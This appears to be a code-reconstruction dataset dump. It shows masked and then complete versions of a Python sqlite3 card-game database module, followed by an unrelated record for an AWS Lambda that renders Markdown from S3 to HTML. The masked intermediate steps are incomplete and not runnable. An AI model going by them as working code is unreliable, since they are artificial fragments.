{ "blob_id": "f8c85f34fb55ee1c3b3020bcec87b60ae80e4ed2", "index": 3126, "step-1": "<mask token>\n\n\nclass DatabaseHands(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass DatabaseProbability(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' +\n '(id INTEGER PRIMARY KEY, card INTEGER,' +\n 'win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def insert(self, probabilities):\n self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)',\n probabilities)\n self.conn.commit()\n\n def search(self, card):\n self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,))\n row = self.cur.fetchone()\n return row[2], row[3], row[4]\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseGames(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS games' +\n '(id INTEGER PRIMARY KEY,' +\n ' card1 INTEGER, card2 INTEGER, card3 INTEGER,' +\n ' win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def count(self):\n self.cur.execute('SELECT count(*) FROM games')\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, card1, card2, card3, win, draw, lose):\n self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)',\n (card1, card2, card3, win, draw, lose))\n self.conn.commit()\n\n def view(self):\n self.cur.execute('SELECT * FROM games')\n rows = self.cur.fetchall()\n return rows\n\n def search(self, card1='', card2='', card3=''):\n self.cur.execute('SELECT * FROM games WHERE' +\n ' card1=? AND card2=? AND card3=?', (card1, card2, card3))\n row = self.cur.fetchone()\n return row\n\n def __del__(self):\n self.conn.close()\n", "step-2": "<mask token>\n\n\nclass DatabaseHands(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS hands' +\n '(id INTEGER PRIMARY KEY, first INTEGER,' +\n 'second INTEGER, third INTEGER)')\n self.conn.commit()\n <mask token>\n\n def insert(self, hands):\n self.cur.executemany('INSERT INTO hands VALUES (NULL,?,?,?)', hands)\n self.conn.commit()\n\n def search(self, id):\n self.cur.execute('SELECT * FROM hands WHERE id=?', (id,))\n row = self.cur.fetchone()\n return row[1], row[2], row[3]\n <mask token>\n\n\nclass DatabaseProbability(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' +\n '(id INTEGER PRIMARY KEY, card INTEGER,' +\n 'win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def insert(self, probabilities):\n self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)',\n probabilities)\n self.conn.commit()\n\n def search(self, card):\n self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,))\n row = self.cur.fetchone()\n return row[2], row[3], row[4]\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseGames(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS games' +\n '(id INTEGER PRIMARY KEY,' +\n ' card1 INTEGER, card2 INTEGER, card3 INTEGER,' +\n ' win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def count(self):\n self.cur.execute('SELECT count(*) FROM games')\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, card1, card2, card3, win, draw, lose):\n self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)',\n (card1, card2, card3, win, draw, lose))\n self.conn.commit()\n\n def view(self):\n self.cur.execute('SELECT * FROM games')\n rows = self.cur.fetchall()\n return rows\n\n def search(self, card1='', card2='', card3=''):\n self.cur.execute('SELECT * FROM games WHERE' +\n ' card1=? AND card2=? AND card3=?', (card1, card2, card3))\n row = self.cur.fetchone()\n return row\n\n def __del__(self):\n self.conn.close()\n", "step-3": "<mask token>\n\n\nclass DatabaseHands(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS hands' +\n '(id INTEGER PRIMARY KEY, first INTEGER,' +\n 'second INTEGER, third INTEGER)')\n self.conn.commit()\n <mask token>\n\n def insert(self, hands):\n self.cur.executemany('INSERT INTO hands VALUES (NULL,?,?,?)', hands)\n self.conn.commit()\n\n def search(self, id):\n self.cur.execute('SELECT * FROM hands WHERE id=?', (id,))\n row = self.cur.fetchone()\n return row[1], row[2], row[3]\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseProbability(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' +\n '(id INTEGER PRIMARY KEY, card INTEGER,' +\n 'win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def insert(self, probabilities):\n self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)',\n probabilities)\n self.conn.commit()\n\n def search(self, card):\n self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,))\n row = self.cur.fetchone()\n return row[2], row[3], row[4]\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseGames(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS games' +\n '(id INTEGER PRIMARY KEY,' +\n ' card1 INTEGER, card2 INTEGER, card3 INTEGER,' +\n ' win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def count(self):\n self.cur.execute('SELECT count(*) FROM games')\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, card1, card2, card3, win, draw, lose):\n self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)',\n (card1, card2, card3, win, draw, lose))\n self.conn.commit()\n\n def view(self):\n self.cur.execute('SELECT * FROM games')\n rows = self.cur.fetchall()\n return rows\n\n def search(self, card1='', card2='', card3=''):\n self.cur.execute('SELECT * FROM games WHERE' +\n ' card1=? AND card2=? AND card3=?', (card1, card2, card3))\n row = self.cur.fetchone()\n return row\n\n def __del__(self):\n self.conn.close()\n", "step-4": "import sqlite3\n\n\nclass DatabaseHands(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS hands' +\n '(id INTEGER PRIMARY KEY, first INTEGER,' +\n 'second INTEGER, third INTEGER)')\n self.conn.commit()\n\n def count(self):\n self.cur.execute('SELECT count(*) FROM hands')\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, hands):\n self.cur.executemany('INSERT INTO hands VALUES (NULL,?,?,?)', hands)\n self.conn.commit()\n\n def search(self, id):\n self.cur.execute('SELECT * FROM hands WHERE id=?', (id,))\n row = self.cur.fetchone()\n return row[1], row[2], row[3]\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseProbability(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' +\n '(id INTEGER PRIMARY KEY, card INTEGER,' +\n 'win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def insert(self, probabilities):\n self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)',\n probabilities)\n self.conn.commit()\n\n def search(self, card):\n self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,))\n row = self.cur.fetchone()\n return row[2], row[3], row[4]\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseGames(object):\n\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute('CREATE TABLE IF NOT EXISTS games' +\n '(id INTEGER PRIMARY KEY,' +\n ' card1 INTEGER, card2 INTEGER, card3 INTEGER,' +\n ' win REAL, draw REAL, lose REAL)')\n self.conn.commit()\n\n def count(self):\n self.cur.execute('SELECT count(*) FROM games')\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, card1, card2, card3, win, draw, lose):\n self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)',\n (card1, card2, card3, win, draw, lose))\n self.conn.commit()\n\n def view(self):\n self.cur.execute('SELECT * FROM games')\n rows = self.cur.fetchall()\n return rows\n\n def search(self, card1='', card2='', card3=''):\n self.cur.execute('SELECT * FROM games WHERE' +\n ' card1=? AND card2=? AND card3=?', (card1, card2, card3))\n row = self.cur.fetchone()\n return row\n\n def __del__(self):\n self.conn.close()\n", "step-5": "import sqlite3\n\n\nclass DatabaseHands(object):\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute(\"CREATE TABLE IF NOT EXISTS hands\"\n + \"(id INTEGER PRIMARY KEY, first INTEGER,\"\n + \"second INTEGER, third INTEGER)\")\n self.conn.commit()\n\n def count(self):\n self.cur.execute(\"SELECT count(*) FROM hands\")\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, hands):\n self.cur.executemany(\"INSERT INTO hands VALUES (NULL,?,?,?)\", hands)\n self.conn.commit()\n\n # def view(self):\n # self.cur.execute(\"SELECT * FROM hands\")\n # rows = self.cur.fetchall()\n # return rows\n\n def search(self, id):\n self.cur.execute(\"SELECT * FROM hands WHERE id=?\", (id,))\n row = self.cur.fetchone()\n return (row[1], row[2], row[3])\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseProbability(object):\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute(\"CREATE TABLE IF NOT EXISTS probabilities\"\n + \"(id INTEGER PRIMARY KEY, card INTEGER,\"\n + \"win REAL, draw REAL, lose REAL)\")\n self.conn.commit()\n\n def insert(self, probabilities):\n self.cur.executemany(\"INSERT INTO probabilities VALUES (NULL,?,?,?,?)\",\n probabilities)\n self.conn.commit()\n\n # def view(self):\n # self.cur.execute(\"SELECT * FROM probabilities\")\n # rows = self.cur.fetchall()\n # return rows\n\n def search(self, card):\n self.cur.execute(\"SELECT * FROM probabilities WHERE card=?\", (card,))\n row = self.cur.fetchone()\n return (row[2], row[3], row[4])\n\n def __del__(self):\n self.conn.close()\n\n\nclass DatabaseGames(object):\n def __init__(self, database):\n self.conn = sqlite3.connect(database)\n self.cur = self.conn.cursor()\n self.cur.execute(\"CREATE TABLE IF NOT EXISTS games\"\n + \"(id INTEGER PRIMARY KEY,\"\n + \" card1 INTEGER, card2 INTEGER, card3 INTEGER,\"\n + \" win REAL, draw REAL, lose REAL)\")\n self.conn.commit()\n\n def count(self):\n self.cur.execute(\"SELECT count(*) FROM games\")\n rows = self.cur.fetchone()\n return rows[0]\n\n def insert(self, card1, card2, card3, win, draw, lose):\n self.cur.execute(\"INSERT INTO games VALUES\"\n + \" (NULL,?,?,?,?,?,?)\",\n (card1, card2, card3, win, draw, lose))\n self.conn.commit()\n\n def view(self):\n self.cur.execute(\"SELECT * FROM games\")\n rows = self.cur.fetchall()\n return rows\n\n def search(self, card1=\"\", card2=\"\", card3=\"\"):\n self.cur.execute(\"SELECT * FROM games WHERE\"\n + \" card1=? AND card2=? AND card3=?\",\n (card1, card2, card3))\n row = self.cur.fetchone()\n return row\n\n def __del__(self):\n self.conn.close()\n", "step-ids": [ 13, 16, 17, 19, 20 ] }
[ 13, 16, 17, 19, 20 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def lambda_handler(event, context): for record in event['Records']: bucket = record['s3']['bucket']['name'] key = record['s3']['object']['key'] output_key = '{}.html'.format(key[:key.rfind('.md')]) response = s3_client.get_object(Bucket=bucket, Key=key) md_content = response['Body'].read().decode('utf-8') print('MD ' + md_content) extensions = ['extra', 'smarty'] html_content = markdown.markdown(md_content, extensions=extensions, output_format='html5') html_content_fmt = jinja2.Template(TEMPLATE).render(content= html_content) print('HTML ' + html_content_fmt) encoded_html = html_content_fmt.encode('utf-8') s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html) <|reserved_special_token_1|> <|reserved_special_token_0|> s3_client = boto3.client('s3') TEMPLATE = """<!DOCTYPE html> <html> <head> <link href="http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css" rel="stylesheet"> <style> body { font-family: sans-serif; } code, pre { font-family: monospace; } h1 code, h2 code, h3 code, h4 code, h5 code, h6 code { font-size: inherit; } </style> </head> <body> <div class="container"> {{content}} </div> </body> </html> """ def lambda_handler(event, context): for record in event['Records']: bucket = record['s3']['bucket']['name'] key = record['s3']['object']['key'] output_key = '{}.html'.format(key[:key.rfind('.md')]) response = s3_client.get_object(Bucket=bucket, Key=key) md_content = response['Body'].read().decode('utf-8') print('MD ' + md_content) extensions = ['extra', 'smarty'] html_content = markdown.markdown(md_content, extensions=extensions, output_format='html5') html_content_fmt = jinja2.Template(TEMPLATE).render(content= html_content) print('HTML ' + html_content_fmt) encoded_html = html_content_fmt.encode('utf-8') s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html) <|reserved_special_token_1|> import boto3 import jinja2 import markdown s3_client = boto3.client('s3') TEMPLATE = """<!DOCTYPE html> <html> <head> <link href="http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css" rel="stylesheet"> <style> body { font-family: sans-serif; } code, pre { font-family: monospace; } h1 code, h2 code, h3 code, h4 code, h5 code, h6 code { font-size: inherit; } </style> </head> <body> <div class="container"> {{content}} </div> </body> </html> """ def lambda_handler(event, context): for record in event['Records']: bucket = record['s3']['bucket']['name'] key = record['s3']['object']['key'] output_key = '{}.html'.format(key[:key.rfind('.md')]) response = s3_client.get_object(Bucket=bucket, Key=key) md_content = response['Body'].read().decode('utf-8') print('MD ' + md_content) extensions = ['extra', 'smarty'] html_content = markdown.markdown(md_content, extensions=extensions, output_format='html5') html_content_fmt = jinja2.Template(TEMPLATE).render(content= html_content) print('HTML ' + html_content_fmt) encoded_html = html_content_fmt.encode('utf-8') s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html) <|reserved_special_token_1|> import boto3 import jinja2 import markdown # Instantiate S3 client s3_client = boto3.client('s3') # HTML style template TEMPLATE = """<!DOCTYPE html> <html> <head> <link href="http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css" rel="stylesheet"> <style> body { font-family: sans-serif; } code, pre { font-family: monospace; } h1 code, h2 code, h3 code, h4 code, h5 code, h6 code { font-size: inherit; } </style> </head> <body> <div class="container"> {{content}} </div> </body> </html> """ def lambda_handler(event, context): for record in event['Records']: # Extract bucket and key information from S3 PutObject event bucket = record['s3']['bucket']['name'] key = record['s3']['object']['key'] output_key = '{}.html'.format(key[:key.rfind('.md')]) # Read Markdown file content from S3 bucket response = s3_client.get_object(Bucket=bucket, Key=key) md_content = response['Body'].read().decode('utf-8') print("MD " + md_content) # Convert Markdown content to HTML extensions = ['extra', 'smarty'] html_content = markdown.markdown(md_content, extensions=extensions, output_format='html5') html_content_fmt = jinja2.Template(TEMPLATE).render(content=html_content) print("HTML " + html_content_fmt) # Encode content before uploading encoded_html = html_content_fmt.encode("utf-8") # Upload HTML content to S3 bucket s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)
flexible
{ "blob_id": "3df57059539e5e3579c6dbee6be288e04b5f93b5", "index": 3400, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef lambda_handler(event, context):\n for record in event['Records']:\n bucket = record['s3']['bucket']['name']\n key = record['s3']['object']['key']\n output_key = '{}.html'.format(key[:key.rfind('.md')])\n response = s3_client.get_object(Bucket=bucket, Key=key)\n md_content = response['Body'].read().decode('utf-8')\n print('MD ' + md_content)\n extensions = ['extra', 'smarty']\n html_content = markdown.markdown(md_content, extensions=extensions,\n output_format='html5')\n html_content_fmt = jinja2.Template(TEMPLATE).render(content=\n html_content)\n print('HTML ' + html_content_fmt)\n encoded_html = html_content_fmt.encode('utf-8')\n s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)\n", "step-3": "<mask token>\ns3_client = boto3.client('s3')\nTEMPLATE = \"\"\"<!DOCTYPE html>\n<html>\n<head>\n <link href=\"http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css\" rel=\"stylesheet\">\n <style>\n body {\n font-family: sans-serif;\n }\n code, pre {\n font-family: monospace;\n }\n h1 code,\n h2 code,\n h3 code,\n h4 code,\n h5 code,\n h6 code {\n font-size: inherit;\n }\n </style>\n</head>\n<body>\n<div class=\"container\">\n{{content}}\n</div>\n</body>\n</html>\n\"\"\"\n\n\ndef lambda_handler(event, context):\n for record in event['Records']:\n bucket = record['s3']['bucket']['name']\n key = record['s3']['object']['key']\n output_key = '{}.html'.format(key[:key.rfind('.md')])\n response = s3_client.get_object(Bucket=bucket, Key=key)\n md_content = response['Body'].read().decode('utf-8')\n print('MD ' + md_content)\n extensions = ['extra', 'smarty']\n html_content = markdown.markdown(md_content, extensions=extensions,\n output_format='html5')\n html_content_fmt = jinja2.Template(TEMPLATE).render(content=\n html_content)\n print('HTML ' + html_content_fmt)\n encoded_html = html_content_fmt.encode('utf-8')\n s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)\n", "step-4": "import boto3\nimport jinja2\nimport markdown\ns3_client = boto3.client('s3')\nTEMPLATE = \"\"\"<!DOCTYPE html>\n<html>\n<head>\n <link href=\"http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css\" rel=\"stylesheet\">\n <style>\n body {\n font-family: sans-serif;\n }\n code, pre {\n font-family: monospace;\n }\n h1 code,\n h2 code,\n h3 code,\n h4 code,\n h5 code,\n h6 code {\n font-size: inherit;\n }\n </style>\n</head>\n<body>\n<div class=\"container\">\n{{content}}\n</div>\n</body>\n</html>\n\"\"\"\n\n\ndef lambda_handler(event, context):\n for record in event['Records']:\n bucket = record['s3']['bucket']['name']\n key = record['s3']['object']['key']\n output_key = '{}.html'.format(key[:key.rfind('.md')])\n response = s3_client.get_object(Bucket=bucket, Key=key)\n md_content = response['Body'].read().decode('utf-8')\n print('MD ' + md_content)\n extensions = ['extra', 'smarty']\n html_content = markdown.markdown(md_content, extensions=extensions,\n output_format='html5')\n html_content_fmt = jinja2.Template(TEMPLATE).render(content=\n html_content)\n print('HTML ' + html_content_fmt)\n encoded_html = html_content_fmt.encode('utf-8')\n s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)\n", "step-5": "import boto3\nimport jinja2\nimport markdown\n\n# Instantiate S3 client\ns3_client = boto3.client('s3')\n\n# HTML style template\nTEMPLATE = \"\"\"<!DOCTYPE html>\n<html>\n<head>\n <link href=\"http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css\" rel=\"stylesheet\">\n <style>\n body {\n font-family: sans-serif;\n }\n code, pre {\n font-family: monospace;\n }\n h1 code,\n h2 code,\n h3 code,\n h4 code,\n h5 code,\n h6 code {\n font-size: inherit;\n }\n </style>\n</head>\n<body>\n<div class=\"container\">\n{{content}}\n</div>\n</body>\n</html>\n\"\"\"\n\n\ndef lambda_handler(event, context):\n\n for record in event['Records']:\n # Extract bucket and key information from S3 PutObject event\n bucket = record['s3']['bucket']['name']\n key = record['s3']['object']['key']\n output_key = '{}.html'.format(key[:key.rfind('.md')])\n\n # Read Markdown file content from S3 bucket\n response = s3_client.get_object(Bucket=bucket, Key=key)\n md_content = response['Body'].read().decode('utf-8')\n print(\"MD \" + md_content)\n\n # Convert Markdown content to HTML\n extensions = ['extra', 'smarty']\n html_content = markdown.markdown(md_content, extensions=extensions, output_format='html5')\n html_content_fmt = jinja2.Template(TEMPLATE).render(content=html_content)\n print(\"HTML \" + html_content_fmt)\n\n # Encode content before uploading\n encoded_html = html_content_fmt.encode(\"utf-8\")\n # Upload HTML content to S3 bucket\n s3_client.put_object(Bucket=bucket, Key=output_key, Body=encoded_html)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]